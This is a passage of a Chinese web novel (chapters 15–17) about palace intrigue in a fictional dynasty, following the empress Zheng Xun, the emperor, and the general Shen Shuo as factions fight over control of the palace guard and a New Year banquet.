沈周伯盯着那扇阖上的门看了半天,忍不住心底骂了句娘。 不愧是宫里出来的,还混到安温册的干儿子,他差点儿不知不觉被人坑死! 沈周伯抬手把那张马车上的画扔进火盆里,又快速地翻了一遍前面的。 明明上面的画也没几笔,都是线条勾勒,偏偏画上人的神情刻骨入木三分,女子眼神一瞥便是柔情脉脉,两厢对视端的是情深意笃。 沈周伯一时居然拿不准,到底是他小二嫂和天子感情真的这么好,还是那小宦官画出来的。 但瞧着这“一张画里你送我果子,另一张画中我送你络子”的,沈周伯眼皮越发跳起来了,那小宦官要不是故意的就有鬼了! 想到这里,沈周伯顾不得那许多了,连忙提笔写信给他二兄。 第二天一早,这连信带画的暗报便被送到了沈朔案头。 护送圣驾的队伍有专门掌文书的小吏,没有要紧事沈周伯不会亲笔写信,因而看到外面那龙飞凤舞的“二兄敬启”几个字,沈朔便先看了信。 信上却没说什么具体的事,只满篇的“那小宦官不老实”“二兄留心些”“他想要挑拨兄长与陛下的关系”,最后面那“当心”二字更是张牙舞爪的,占了足足两列的空隙,担忧之情可谓是溢于言表,直把沈朔都看得笑了。 这几日每每收到圣驾那边的暗报,沈朔心情都不会太好。 原本一见信使,赵成卓已经熟练地给自己安排了活计,免得在这时候触了主公霉头,结果今天瞧着竟不一样。 他耐不住好奇,又坐了回来,“护驾营中可有什么好事?” 总不能是天子突然暴毙了吧。 沈朔干脆把信递给他看。 那宦官有小心思他早就知道了,但用来监视天子言行的人,本来就不能太老实,倒是沈周伯能这么快发现,让沈朔颇感意外。 沈朔:“长进了啊。” 赵成卓扫了几眼,也知道了信中大意,听得沈朔这么说,立刻跟着附和,“沈都尉为人聪慧又行事机敏,颇有主公之风。” 沈朔:……不会说话可以别说。 他五堂叔还在世呢。 见赵成卓还准备情真意切地夸下去,沈朔不由抬手打断。他这些年修养好了这么多,有这么个人在旁边当真是功不可没。 沈朔把人晾在一边低头看随信一同送来的画。 这一次没过几息,就听见下首之人开口,“兵器造册还没检查,属下先去看看。” 沈朔默许让人去了,倒也意识到自己失态。 只寥寥数张画作,便让人心头自然而然地浮现一首乐诗——投我以木瓜,报之以琼琚。匪报也,永以为好也。[1] 抛以瓜果、回赠美玉,定情结好,愿以长久。 沈朔随手将画纸扔到一边,单手盖住了眼睛,往后靠了靠,但这举动似乎并没有什么效果,墨色的线条在前勾 勒,惹得人心中烦乱。他心有所感地往旁一看,那少年模样地影子果然出现了。 和青年的沈朔不同,少年背着手一张一张地看过去。 姿态闲适肆意,嘴里念念有词,瞧着还有几分品鉴画作的意思在。 沈朔瞥了人一眼。 少年立刻发出不客气地嘲笑声,[瞧你这小气的样子!这有什么啊,阿珣还亲手喂给我果子呢。] 沈朔多数时候是不怎么理这影子的,但大约今日心烦,瞧不得他这么洋洋得意的模样,便问:[是吗?] 少年果真急了,[你不记得了?!那日.我和阿珣去逛西市,和她约定去看马球赛,阿珣心疼我说话太多口渴,便亲手喂了桑葚给我。] 沈朔想起来了。 过去的记忆零零碎碎的,像是龙骨翻车似的,需得有人拽上一下才能转起来。 那阵时日阿珣不知怎么的一直心情不好,他想了许多法子逗人高兴,却总是没什么收效,那日也不例外。永崇坊要打马球赛,两支队伍是去年御苑里比的,京中早就为此热闹起来,他想要让人去看看散散心,在旁边喋喋不休地念了好久,直把人说得烦了,捻起一颗桑葚来就塞进他嘴里。约莫塞得太急,连手指都一同递了进去。 四目相对,一时间两人都愣住了,阿珣下意识往后收手。 他却不想要人离开,舌尖勾了半天没勾住,他……咬了一口。 甜蜜汁液在口腔绽开,回过神来已经被追着打了。他咬得挺狠的,食指中间的一段印上了一圈牙印,加之桑葚汁液染色,他自告奋勇擦了半天都擦不干净,反倒把周遭的皮肉磨得通红,被那人挣着收回手,声音委屈地,“我不要了!” 也是在她收回手后,沈朔才发现不止食指被他留下了印子,手腕上也是。 斑驳的指痕印在凝霜似的皓腕上,不知怎么的竟让人觉得喉间干渴,忍不住咕咚地咽了一声,嘴里好像还残余着桑葚的汁液,齁得嗓子更痒了。 当天夜里的梦中,朦胧的光景间,那句带着委屈的“我不要了”在耳边一遍一遍地响起。 第二日晨起…… [不许想!]思绪被骤然拔高的声音打断,从回忆中抽神沈朔还有些恍惚,少年却已气势汹汹地逼到跟前,他掌心重重地拍在他身前的桌案上,又提高了点声调,语气不满地,[不许再想了!别拿这些脏事情污了她!] 沈朔看着眼前这张面容,少顷他突然扬起一个似笑非笑的神情。 [你不想要污了她。可是现在她却会在夜里与另一个人交颈相卧、耳鬓厮磨。] 少年似乎愣住了。 有轻微的“哔啵”声传来,旁边炭盆里溅出了几点火星。 眼前本来凝实的影子又变作了镜面的质感,上面隐隐有裂隙浮现,但是在崩裂出血痕之前,他身形先一步变得浅淡,一点点消隐在空气中。 沈朔注视着这影子消失在了自己面前,表情也跟着一点点变淡,很快就恢复了平常喜怒不惊的模样。 如同之前一样,他将那些“多余”的画作扔进了炭盆,火舌倏忽蹿起,跃动的火焰倒映在漆黑的眼瞳之中,却没多一会儿就燃尽了。 瞧着那与炭盆内残渣融为一体的灰烬,沈朔倏地笑了。 永以为好?那位天子的“永”又有多久呢? 少年的他许是待至宝珍之重之,但是现如今的他却只知道,宝物要握入自己的手里。 15.旧日青梅15 因为萧清维猝不及防来了个大的,接下来几天郑珣谨慎地和他保持了距离,生怕一个不留神,对方就问她“要不要个孩子”。 而那边沈周伯见人把话听进去了,多少松了口气。 烂摊子收拾一次就够了,他可不想天天帮人烧春.宫图。 又隔了两日,沈朔也处理完了军中事务赶了上来。 既然人都到齐了,郑珣就借着沈周伯递话,委婉地催促了下行程:你不是嫌赶路太慢都拿出你哥来吓唬人了吗?现在倒是快点啊! 被叫住的沈周伯:“……” 虽然小二嫂和天子分车而行挺好的,但是他二兄一来就催着赶路,这是不是太明显了一点? “殿下,这不妥吧?” “哪里不妥?”因为和郑珣说话的缘故,沈周伯控了一下马减慢速度,郑珣见状还以为他要走,连忙扒开车窗伸手去拽他拉缰绳的手,“你等等!” 郑珣是真的急了,她现在闭上眼就是萧清维那句“趁夜去邀”,只要人还在路上一天,她就睡不好觉,入住官驿的时候都得检查好几遍,生怕自己不留神走错卧室。这一天都过不下去的日子堪比在潞王府的时候和萧清维睡觉! 郑珣这边还想着怎么开口呢,那边沈周伯突然地,“好吧,我去同我二兄说。” 郑珣:……? 虽然不明白怎么回事,但她还是松了口气,很正式地给了个谢礼,“多谢沈都尉。” 沈周伯看看立刻就收回去的手,又看看郑珣,表情显得有点高深莫测。 郑珣:??? 你还去不去了?! * 也不知道沈周伯怎么和沈朔说的,接下来的赶路速度确实快了不少。对郑珣来说是好事,虽然路途上艰辛了不少,但总算不用整夜整夜地睡不好觉了。 数日后,帝都东郊。 李翊早一步率领百官,在此等候接迎圣驾。 銮驾停.下,萧清维下了马车。 在众目睽睽之下,他亲自扶起了这位老臣,语气嘉赏又感激的,“运筹斡旋、扭转危局,统筹百官、规整朝纲。治国理政之才,匡扶社稷之功,李相足以名垂千秋、勋传百世!” 只能说有皇帝这个身份在,无论什么时候,说话总是多少有用处的。 萧清维这金口玉言的一番话下来,李翊就是国之栋梁、盖了章的救驾功臣。 但这么一来,沈朔可就麻烦了。 郑珣想着,下意识地往沈朔的方向看了一眼,却不等目光落定就仓促地收回视线。 急匆匆的一瞥间,她总觉得沈朔也在看她,或许是被铠甲反光带来的错觉。飞速找到解释的郑珣眼观鼻鼻观心地站好在原地,不敢再四处瞎瞄。 萧清维当然没忘了沈朔这个“大功臣”,一番极限端水的操作之后,各方势力达成了表面平静,眼前倒是颇有些将相和的平静和谐之景。 但这平和之意也只维持到宫门前。 李翊带来的仪仗队簇拥着御辇浩浩荡荡地前往宫城,一路上的道路早就被清场过了,这会儿不兴什么百姓围观,空荡荡的街面上,士卒戍卫,只余朝臣公卿紧随帝王而行。 及至承天门门前,手持仪仗队伍还待往前,却被护卫的士卒挡住,只听沈朔开口问:“十六卫只执掌朝会仪仗、皇城外城巡守,何时可入宫门了?” 见自己人被拦,李翊脸色不太好,但意料之中地上前一步,姿态从容地,“沈将军有所不知,十六卫本就为帝王扈从,循前朝典章,护卫宫闱,名正言顺。方今宦官尽除,朝纲重整,正值肃清余毒之机,当重振礼制,皇城内外宿卫也该复归十六卫统辖调度。” 郑珣听得了然。 沈朔先前和李翊信中扯皮了那么久,不过是一个拿着判度支和盐铁的财权不放,另一个掌着兵权控制天子。后来李翊松口退让一步,郑珣以为是真退了,原来是在这儿等着呢——安温册手里的禁军其实是北禁军,原本负责的是皇城之外京城之内的巡防,但是后来宦官掌权,这北禁军便成了真正的禁军,原本戍卫皇城的十六卫反而退居外廷、成了名存实亡的仪仗队——李翊想借这个名义,掌管宫中禁卫,控制天子。 “李相此言差矣。”见主公被为难,赵成卓立刻上前一步,帮忙打起了嘴炮,“北禁军乃是我朝太.祖之私兵,戍卫皇城理所应当,反倒是其子文皇帝时,才另立新法,遴选十六卫,为帝王扈从,时至闵皇帝又复旧制,李相若谈重整礼制,整该行祖宗之法!” 似乎是检测到什么关键场景,智障系统自动弹了出来一个半透明的面板,郑珣眼前密密麻麻全是文字,她瞄了几眼发现,这智障系统正试图整理典籍、寻找论据,帮助宿主在接下来的论战中占据上风。 郑珣眼皮都没动一下,面无表情地,[退订。] 眼下是谁更占理的场合吗?! 很明显,朝堂上人脑子不像这系统一样智障,没人在这种时候去想什么礼制典章。 确实有人出列,却是御史台的官员。 他手持笏板,在此刻脊背挺直地站出来,颇有刚直不阿的忠直之态,“尔乃太府卿,擅言兵事乃为越权。” 是的,如今的赵成卓不单单是沈朔军中的一个掌书记,他还担任了九卿之一的太府卿。正是刚刚在百官郊迎之时,刚刚分封功臣时候新封的,官位还热乎着,连官服都是刚刚被奉上。 “说得好!我乃太府卿,大景之官员,正当为陛下尽忠、为大景尽瘁。”赵成卓着着簇新的紫袍冲御驾的方向深揖一礼,又转身向后,“列位皆知,如今十六卫早已名存实亡,空有官署员额,无精锐实兵,岂能担得起防卫禁宫重任?数月之前,安贼带兵劫掠宫城,敢问十六卫在何处?在列诸公在何处?以如此松懈之徒戍卫宫城,诸位难道欲要陛下东狩之事重演吗?!” 随着他的话落,一路在外侧护卫的并汾士卒在沈朔的示意下逼上前来。 十六卫空置多年,早就成了专门的仪仗队,能被塞进来无一不是送来镀金的世家少爷,养尊处优的、哪里见到过这等真见血阵仗,当即让开一条路来。 结合赵成卓那句“东狩之事重演”,这场景仿佛又多了一层别的意味。 现场霎时鸦雀无声,李翊在旁脸色铁青。 但郑珣觉得脸色发青的该有别人才对,她不自抑地看了眼侧边的萧清维。 这一番对峙就发生在天子车辇之下,所有人都口直称忠臣、言必及护驾,却 从头到尾都没有人真正抬头往上看一眼,也不知道萧清维现在心里是怎样的滋味。 似乎是感觉到这目光中的担忧,朝服宽大的袖摆下,萧清维握住了她手,还不待郑珣松口气放宽心,就觉得掌心被挠了一下。 郑珣:“……” 先前那“要孩子”的说法又在脑海中来来回回地魔性回放,她整个人都僵硬了。 萧清维觉出来了。他有点无奈,却又忍不住轻抿着扬了下唇。 宫里的腌臜事那般多,便只透出这一点就吓着她了,接连这么些时日都躲着他走,叫人觉得可怜又可爱。 而那边厢,赵成卓还在慷慨陈词,只是在旁边卫兵与一脸肃穆朝臣的对照下,颇有些得志的小人嘴脸,“……以此等无用之兵值守宫城,尔等置陛下安危于何处?!” 本就让开了路,却又被当众如此羞辱。这群十六卫里面也都是些二世祖,哪遇到过这等被众目睽睽下把脸往地上踩的事,当即就有人憋得脸色通红,看起来很有点拔刀拼命的意思。 沈朔上前一步,从赵成卓的脚面上踩过去。 差不多得了,他可不想入京第一日便在宫门前见血。他对着上首御辇行礼,“陛下,殿下,请。” * 才回京城第一天就这么针锋相对,接下来朝堂之上自然是暗潮汹涌。或是因没有眼力见儿,看错风向而被贬官问罪的,或是见势不妙而另投他人,为表效忠抖落阴私,又掀起更大风浪的。 不过这些事和郑珣没什么关系,她现在头疼的另有其事。 宫中元日的宴会。 景朝的大年初一有朝会,朝中大员、藩镇使者、皇室宗亲,能列席的都是不得了的人物,算是一年之中最高规格的朝会了。但这事自有礼部太常寺操心,和郑珣没什么关系,她真正要负责的是在那之前的除夕宫宴。 从宣皇帝传下来的习惯,为庆贺大景煌煌盛世,在内宫设宴,君臣同乐以示亲近。 什么?你说这军阀割据藩镇林立皇帝都被劫走了,哪里来的盛世?! 但皇帝这不是被接回来了么?!我朝文有李相公,能于群臣无首之时整顿朝纲、安定天下;武有沈将军,能于乱军之中救出圣驾,震慑藩镇。文武兼备,朝纲稳定,正是盛世之机啊! 不仅要办,还要大大地办! 不然百年难遇千年不逢的将相之功该怎么昭示褒奖呢?! 郑珣心底骂骂咧咧,但还是不得不着手准备这场大宴。 但是这里面有个最紧要的事——没钱。 尚宫局女官捧着账簿过来,“殿下,这是这几个月间的账。阳月宫中大火,宫殿还来不及修缮,陛下殿下刚刚移驾之际,宫中好是乱了一阵子,器物财宝都多有遗失。后来有李相出来主持大局,又有救驾消息传来,局势稍稍稳定了些,妾才带着六局剩下的人手清点了宫中遗留下来的物什。” 郑珣接过册子,翻看了两眼就蹙起眉来。 不够,远远不够。便是平常年月,想要办这种品级极高的宫廷大宴,内库都要掂量掂量,何况刚刚被安温册带兵洗劫过的现在呢? 果真熙凤姐姐那句话一如既往的有含金量。 大有大的难处啊! 16.旧日青梅16 女官既把账簿呈上来,自是心中有数,这会儿见郑珣蹙眉,便就提议,“宫宴本就为了宴飨功臣,户部合该出些银钱,殿下不如请魏国夫人入宫一叙。” 李翊获封魏国公,魏国夫人自然是李翊的妻子。 大景初年,度支朗本是户部一官职,无甚特别的,但后机构调整,度支独自设立官署,与户部平行运作,才有了判度支一职。再后来各地割据,中央收不上税,漕运盐铁的调度变得紧要,于是这判度支掌握财权,反倒成了户部的上司,也就是如今的李翊——女官这意思是国库出钱。 郑珣思量了一会儿,却摇了摇头。 别人不知道这个小世界的后续发展,郑珣却是知道的,李翊未来要倒台,她这会儿作为皇后,一举一动都代表了皇室的态度,不管什么原因,要是显得和李翊亲近了,保不齐沈朔干掉李翊的时候,顺便换个皇帝。 要是按这个发展,那萧清维可就真没活路了。 而且真的拿了国库钱办这破宴会,郑珣也觉得怪糟心的。 “如今国库,官员薪俸都捉襟见肘,根本没有多余的。军需的银钱不能减,倘若我去要,李相能动用的多半也只有预留灾年赈济的义银了。但哪里有用百姓的救命钱来宴饮享乐的道理呢?” 女官露出了明显想说什么表情,但最终还是低头,“……是。” * 郑珣的办法很简单,吃大户……咳,是拉赞助。 不得不说,智障系统在某些时候还是非常管用的,要不然郑珣早些年也不会对它深信不疑,就比如说这会儿,郑珣心念一动,它就迅速地列出了名单。 郑珣要做的很简单,按名单索骥,召人进宫,哭穷。 光哭肯定没有,没谁家的钱是大风刮来的,想要别人出钱,肯定得帮忙办事,可是这事又分能办和不能办。 眼前这位二品郡夫人说不过三句,郑珣就抬手止了。 旁边宫婢适时开口,“江夏郡夫人当知道我们殿下的规矩,不赎罪名,不议亲事。” 前一个当然很好理解,犯了罪想靠买卖脱罪,那肯定不可能。 至于说后一个,一方面郑珣自己对包办婚姻深恶痛绝,另一方面她也确实插不进手去。世家的联姻盘根错节,很多都是还没出生呢,就订好了亲事,皇帝也不能一道圣旨下去抢人的夫君/新妇。大权在握的皇帝肯定是没什么,但当下这空架子的皇室是没这能耐了。 江夏郡夫人:“妾知晓殿下顾虑,怎敢让殿下为难。只是此事实在是一桩善事啊!沈五娘子素有才名,当年京中多少儿郎求亲,如今却在新昌坊寡居,不过是家中无长不好商量。殿下为天下之母,若愿意为之考量,那是功德之举,传出去也是好名声。” 郑珣听得却一愣。 “沈五娘子”?沈五姐姐? 当年沈家倾覆,虽说家族的流放没有牵连女眷,但不管是出嫁女还是未嫁女都不好过。在议的亲事当然黄了,嫁出去的在夫家的日子也不好过,沈五娘子算是其中最惨的之一。 当年沈老爷子在的时候,沈五是下嫁。 她是个才女,因诗文相中了向沈府投干谒诗某个才子,沈老爷子也很开明,考教对方才学之后,颇为欣然将孙女许配给他。对方也不负才名,为当年的新科榜首。 可惜才学和人品没什么关系,白眼狼藏得够深,沈家如日中天的时候,这位是沈家的好孙女婿,沈家一朝出事,这人就另攀他人,闹着想要休妻——连和离都不是,他是想休妻。 当时事情闹得不小,好在沈相朝中也有旧人在,郑珣接着系统的名单牵线搭桥,总算辗转施压,让对方将休妻变成了和离。更妙的是,恶人自有天收,这白眼狼连和离都没来得及就突然染上了风寒,没捱几日就重病去了。沈曈昽就这么成了寡妇,郑珣担心沈曈昽继续住在白眼狼家受欺负,便帮忙在新昌坊僻静处置了间宅院,没想到这一晃眼都这许多年过去了。 郑珣当然没答应这位郡夫人的恳请,但是接下来接见的几位命妇,多多少少都提起了和沈家的亲事。若说沈朔真的是纯粹的藩镇军阀,这些人可能还得斟酌一二,但当年沈家是京城中人,这些命妇又都经过过沈老爷子在时的朝堂,哪个以前没考虑过沈家的郎君娘子,这会儿重提亲事,毫无心理压力。 郑珣本来坚持原则全拒绝了。 开玩笑,她都插手不了世家的联姻,难道能插手得沈家的婚事吗?这也太看得起她了! 但是提起的人一而再再而三,郑珣心下不免犯起了嘀咕。 沈朔刚回帝都,联姻确实是促成合作最方便快捷的手段,她这边拒绝得这么利落,会不会给对方带来什么皇室意图割裂他与朝堂关系之类的错觉。 觐见的命妇都是人精,几乎立刻察觉出郑珣的动摇,便有个年轻的妇人掩着唇笑了:“殿下这是怕乱点鸳鸯谱呢,妾倒是以为这事妥当得很,殿下正正好要在这宫中办宴会,那不若邀着诸位府上未许婚事的小娘子小郎君都来热闹热闹,要是成了好事,那也是殿下牵的线,大家都承殿下一份情。” 这是要办相亲宴啊! 好像也不是不行? 郑珣思量片刻,开口道:“元日的宴会毕竟庄重,恐怕不妥。倒是上元关灯,正是热闹的时候。但如今宫内的景况,诸位也知晓,只怕这宴会需得各家都出一份力。” “这是自然。”/“该当如是。” 心愿达成,命妇自然连连应是地去了。 而解决了一桩心头事,郑珣也心情很好,一时之间皆大欢喜。 * 另一边,沈朔正在新昌坊沈曈昽处。 雕花的香炉飘散着渺渺烟气,影影绰绰看到后方宝蓝色衣裙的窈窕身形,秀丽姿容被烟气模糊,却更显出一番肆然洒脱的风.流来。 然而此情此景,沈朔却一进门就满脸忍耐地拧起了鼻子。 沈曈昽:“……熏不死你!” 她没好气地把香炉盖子一转,内侧的雕花正好和外壁的镂空嵌合,内里的烟气便漫不出来了,屋内还残余着些清婉带甜的香气渺渺未散,沈朔已经直接去推开窗户去通风了。 沈曈昽好悬没被他气死。 “上好的海南沉,价比黄金。不是贵客来我还不燃呢!” 话音刚落,桌上一声闷响,沈朔撂下一块指甲盖大小的金子。 沈曈昽:“……” 当真是逢年过节该打弟弟了! 经年不见,臭小子一如既往地气人,倒是将那姐弟久违谋面的生疏感一下子冲淡了。 沈家早年多有女孩,沈曈昽虽在女子中行五,却比沈朔大上几岁,是他的堂姐。< /p>沈朔开窗通完风,便又坐回沈曈昽备好的客席上,语气端正地唤了一声,“五姐。” 这瞧着便和以往不同了。 到底是经年不见,早非旧人,沈曈昽突然生出些意兴阑珊之感,但也没继续做那待客之态了。 她抬手摆了摆,“我知道你来的意思,但我住在这里,人也清净,事也清净,也常有府上请我去当女先生。你要是真的有心,就关照一下三姐姐吧,她一贯性子软,这些年都叫夫家的人欺负到头上了……倒也不必特地去一趟,你一回来,便不必做什么,她也好过不少。” 沈朔点头。 他这堂姐一贯有主意,既然对方打定主意住在这新昌坊,他没有一定将人接回沈府的意思。 沈曈昽又说了几句姊妹的近况。 这么些年过去了,该嫁人早都嫁了。 “虽说门第不比当年祖父人在朝中时,也是精挑细选的端正人。真教个潮水退了才露出石头来,到了这年岁,反倒比当年宅第里的事少得多。” 沈曈昽说着,倒是禁不住嘲讽地笑了。 当年陛下恩典,沈家罪不及女眷。但时转势移,哪有什么是不变的,夫妻恩爱亦是如此,闹着和离的、娘家弟兄上门的、撕扯痛骂着要走的,素日里看着越是恩爱不疑的,闹起来越是难堪……向来娴雅母亲指着父亲喝骂对方养的外室,说是要不是家中长辈压着,他早就将小的领进门了;她以为儒雅风.流、待母亲一心一意的父亲,面目狰狞地呵斥她生不出儿子;母亲又反唇相讥,占着长房长子的名头平庸无能,只能藏着一肚子的龌龊心思养“德行”,偏偏小尾巴藏不好,直让家主转而向二儿子,有这样的爹也生不出什么好种! 外面的刀兵相逼,或许都比不上里面的唇舌锋利。 沈曈昽恍惚那日自己莫要回娘家探望才好,若是不回来,便一辈子都不必知晓其中龌龊。 她将那些思绪压下,却是眸光流转,轻敛妙目,似是怅然地,“这么瞧瞧,倒是我这个寡居的多年的,过得最不如意了。” “既然五姐这里无事,那我就先回了。” 沈曈昽:……? 沈朔果真未说客套话,话还说着,便已经干脆利落地撑着腿要起身了。 沈曈昽:??? 她气得拿手边的珠子扔他。沈朔连姿.势都没怎么变化,只一偏头就躲过去了。 沈曈昽差点被气得个倒仰。 经年不见,沈朔这气人的功夫不减反增! 那边青年将珠子放回到了案上,淡声:“能拿着玛瑙珠子当玩意,五姐瞧着比当年未出嫁时过得还滋润些。如此,弟弟便不打扰了。” 沈曈昽:“……” “回来!”沈曈昽磨着牙,“李相在朝中有哪些臂膀?李氏又有何姻亲在外?如今朝中有哪些派系,又有何人还领着祖父旧日恩情?……这些话,你难道还指着旁人说与你听吗?!” 她这么说完,反而自己顿了一下。 少顷,她执扇遮脸,只露出一双微微眯的眼睛,看向止住步子的青年。目光从下往上,最后停留在那张依稀可见少年时轮廓的面容上。 ……或许还真有一人,愿意将这些事情说予他听。 微末不离,霜寒不弃。 为何这样的人她便遇不到呢? 17.旧日青梅17 沈曈昽当年在京中甚有才名,便是寡居于此,能请得动她上门也都是门第非凡的宅邸,一来二去的,听了不少消息。她向来脑子好使,便是对这些事不怎么上心,也记下来不少,再者无论怎样的朝中要员,在内宅中也少有防备,里头流传的消息要比外头还灵通些。 沈朔在沈曈昽处留了半日,所得收获倒是比这些日子在京中走动还多些。 不由拜谢过这位堂姐。 沈曈昽却显得冷淡,“有何可谢的?” 她随手拨弄着案上托盘里的玛瑙珠子,碧玉雕的盘子上做出叶片的脉络,颜色鲜艳的玛瑙一颗颗晶莹地摆在其上,好一盘水晶葡萄。 “你若是得势,我也是得意人。这几日上门送礼的,都要将我的门槛踏平了,以往都往祖父手上送干谒的诗文,如今倒也有送我的。你到西市上瞧瞧,早些年我出的诗文集,如今都卖疯了,”她似想到什么,又以扇掩唇兀地笑了,“好些个年轻俊俏的小郎君,以诗文来诉情意,当真是绵绵柔柔,文辞之华美,比之当年那人有过之而无不及。你府上若是缺幕僚,不若我给你举荐一二?” 沈朔:“倘若五姐愿意的话。” 只不过要是沈曈昽这路子能走通,她在新昌坊的宅院,恐怕以后都不得安宁了。 沈曈昽沉默了片刻,那浮于表面的轻佻笑意掩下。 “免了罢。”她将手上的执扇放下,人却侧着身避开了沈朔的方向,无声地做出了送客的态度,“同样的泥潭子,踩进去一遍够了,没道理再踏进去第二趟,我嫌脏得慌。你以后也少来,我见着你就心烦。” 世事转易,人心莫测,凭什么这小子这么好运道! 沈朔也不见气,平淡地应了声,“好。” 沈朔同这位堂姐告了个别,人退了出去,待走到院中时,倏听一道铮然的琵琶音,他脚步微顿,再听便是婉转的唱词,“世情恶衰歇,万事随转烛。夫婿轻薄儿,新人美如玉[1]……” 沈朔原地驻足了片刻,脸上的神情没有多大的变化,但再抬脚时,步子却着实重了几分。 “新人”吗? 呵。 …… 哀婉缠.绵的曲调幽幽荡开,一曲毕,沈曈昽将怀中的琵琶放到一旁,抬手掀开了香炉盖。 烟气在里头闷得太久,甫一掀开,颇有些呛人。 沈曈昽早有准备地以袖掩鼻,偏过头去,待那刺鼻的辛香气散去,才慢悠悠地移开垫片,以铜箸拨弄着将下头已经半灭的炭火压了压。 视线转到旁边的香料上,沈曈昽却兀地笑了。 笑意婉转又动人,连眼神都显得流转。 她少时爱看杂书,什么乱七八糟的都看,便也知晓了不少旁门左道。 香料也是药,换上几味辅料,确实能“熏死人”。 她那未过门的弟妹,可不单单是“救”她,还救下了聂帛那狗东西的一家老小。 那会儿看着那双漂亮的眼睛,她突然觉得,这世道也还有点意思,倒不必为了一个狗东西脏了自己的手。只是冷眼瞧了这么些年,像那样好看的眼睛终是寥寥,大约是京城这方水土不养人罢。 祖父为求全臣节,甘愿自尽于狱中,却被他的帝王当作用废了刀,毫不犹豫地抛弃。她求一段相知相许,却被他人当作官路上的通天阶,待通天阶成了绊脚石自然要被一脚踹开,她只得亲手了结这段孽缘。 那沈朔呢?他求的又是什么? 他又欲以何种手段达成? * 沈朔回去的时候,赵成卓正在他府上。 寒风凛冽中廊下煮酒,瞧着别有一番意趣,就是不嫌冻得慌。 沈朔瞥了他一眼,问:“你不在官署?” 李翊为判度支,又实际上控制着盐铁漕运,掌朝中左藏,国库财权乃是他的命脉,李翊自然无论如何都不肯不放手,便是沈朔在天兴拿着天子同他“商讨”,最后也只争到一个太府卿的官职,掌的是皇室的内库。 赵成卓忙起身行礼:“主公容禀,非属下惫懒,只是这官署还是年后去更妥当些。” 沈朔脚步不停地往里面走,一边解着身上的大氅,一边眼神示意他继续说。 赵成卓也只得站起身来跟上。 “前任太府卿乃是陛下被困天兴城内时封的张凤岐部属,既然是遥领,本就不作数,但属下日前去太府官署瞧了一眼,却见内里门可罗雀、吏员零丁。细问了那老吏才知,这内库运转早归了尚宫局。” 赵成卓说到这里顿了顿,他抬首打量了眼沈朔的表情。 没瞧见什么不快之后,他才斟酌着字句继续,“属下想着,主公必不想同那人起冲突。不若等了元日的朝会过来,到时事情自然了结。” 尚宫局是宫中六局之首,归于皇后执掌,沈朔会在元日朝会上奏请废后。 届时皇后被废,六局无首,他再以太府卿之职讨要账簿内钥,就理所当然了。 道理是这个道理,但赵成卓琢磨着沈朔心情不会太好。 作为主公手下的第一心腹,他主动排忧解难,“安温册劫掠之后,内宫恐怕不剩什么东西,皇后殿下要筹备年下的宫宴,近日连连诏命妇入宫,恐怕正为了此事头疼。既然属下领了太府卿之职,行事可谓便宜。主公不若趁这个机会,帮上一帮?也好让那位殿下知晓,主公心中还惦念着旧情。” 沈朔:“……” 他沉默了片刻,加重了语气:“你是说,我帮着她把这年节的宫宴大大地筹备起来,然后在宴上当着百官群臣之面奏请废后。” 没点仇怨都想不出这么缺德的法子! 屋内陷入死一样的安静,半晌赵成卓轻手轻脚地拎起旁边的凉透了茶壶,自斟了一杯送客茶,干笑着:“属下突然想起廊下炭火未熄。天气干燥恐有遗患,属下这就去看看!” 说着,脚踩烙铁似的飞快地溜了。 让他献策可以,但这种“策”委实恕他无能为力啊!他要真有这能耐,能大白天地被婆娘赶出来,来这幕僚府上喝酒吗?! 屋里的一角响起了少年不客气地嘲笑声,[你瞧瞧你,净干些惹阿珣生气的破事!] 沈朔面无表情地把那杯凉茶泼向了声音传来的位置。 那影子身形一闪消失,茶水泼了个空,少年却又闪现在他的正面,略略略地做了个鬼脸,才悠悠然消散在空气中。 沈朔:“……” 他少时原来这么讨打吗? * 京城之中暗潮汹涌,但宫内也非平静之处。 偏殿暖阁,侍卫内宦皆被屏退于外。 暖意熏人的屋子里,大权在握的宰相正压低声音与皇帝密禀,“……到时侍御史奏请,御史中丞复奏,臣与诸位宰相一同进言,金吾卫大将军亦复议。如此这宫中戍卫便可易人之手,陛下不必再仰人鼻息。” 老臣恳切上奏,但上首的帝王却表情淡淡,细看去眼神还有点发虚,颇有点心不在焉。 李翊稍 稍提高了声调:“陛下!” 萧清维这才回神,温润如玉的脸上神色却依旧很淡,“李相以为此法可行?” “陛下大可放心,朝中诸臣皆都追随于陛下,到时陛下只需颔首首肯,诸公皆为响应。” 萧清维不语。 察觉了帝王的犹疑,李翊咬了咬牙,接着,“此事说来还请陛下恕罪,那日十六卫在宫前退让,实在逊于祖风,臣已令之严加训练,但事成恐非一日之功,故而招募勇武之士,另辟了一支队伍。那沈朔虽拥兵自重,但随之入京者也不过禁军人数,臣可以此一当……但京城之内豢养私军,该当死罪!待到此间事了,臣自向陛下请罪。” …… 李翊的请求,萧清维最后还是答应了。 也由不得他不答应。 目送着李翊被宦官送出去的背影,萧清维轻轻地叹了口气。 这位宰相在朝中待得久了,总以为所有人都会照他的那一套来,党同伐异、联姻合作,以此来争夺朝中派系。 但世情早就非如此了,难不成安温册的那次的教训还不够他长记性吗? 也对,遭人劫持的并非朝中相公,杖子不挨在自己身上,总是不觉得疼的。 看着送人后又立刻折返回来的小宦官,萧清维无不讥诮地扬了下唇:李相公目下无尘的,都未认出这是安温册的养子,也未想想为何这人会在他的身侧。 他瞥了这小宦官一眼,淡声,“摆驾凤来宫罢。” 吕珍不太明显地愣了一下。 但很快低头称是。 * “李相欲在元日大朝上请奏禁军守卫宫城不力,请废了沈将军戍卫内宫的职务。” 晚膳时分,萧清维突然来了凤来宫。 郑珣满脑子都是路上那“生孩子”的对话,正心底拉响了警报的时候,萧清维却似乎只是来蹭了顿饭,然后就占了她书房开始临摹书帖了,郑珣还愧疚于自己脑子里都是颜色,却冷不防的萧清维扔下这么个重磅消息,她差点把手里的杯子砸了。 萧清维似乎早知道她会有此反应,抬手帮忙稳住了托碟。 碟上的杯子晃了晃,只些许顶端的热水溢出,郑珣的手被顺势托住,萧清维将那杯子稳稳放在了旁边的桌案上,检查过郑珣手上没有烫伤,才温声询问:“瑶娘可是担心沈将军?” 郑珣:我是担心你! 她一把抽回了手,加重声音开口,“陛下真以为一两个朝臣上奏,就能令宫中守卫易主?!” 萧清维瞧了眼空了掌心,默不作声地将手拢回了袖中,说话的语调依旧平缓轻柔,“大抵是不能的。朝中相公惯于诸事斟酌,以朝辩论胜负,观沈将军行事作风,诸公恐不能如愿。” 郑珣不明白,“那陛下缘何应允?” 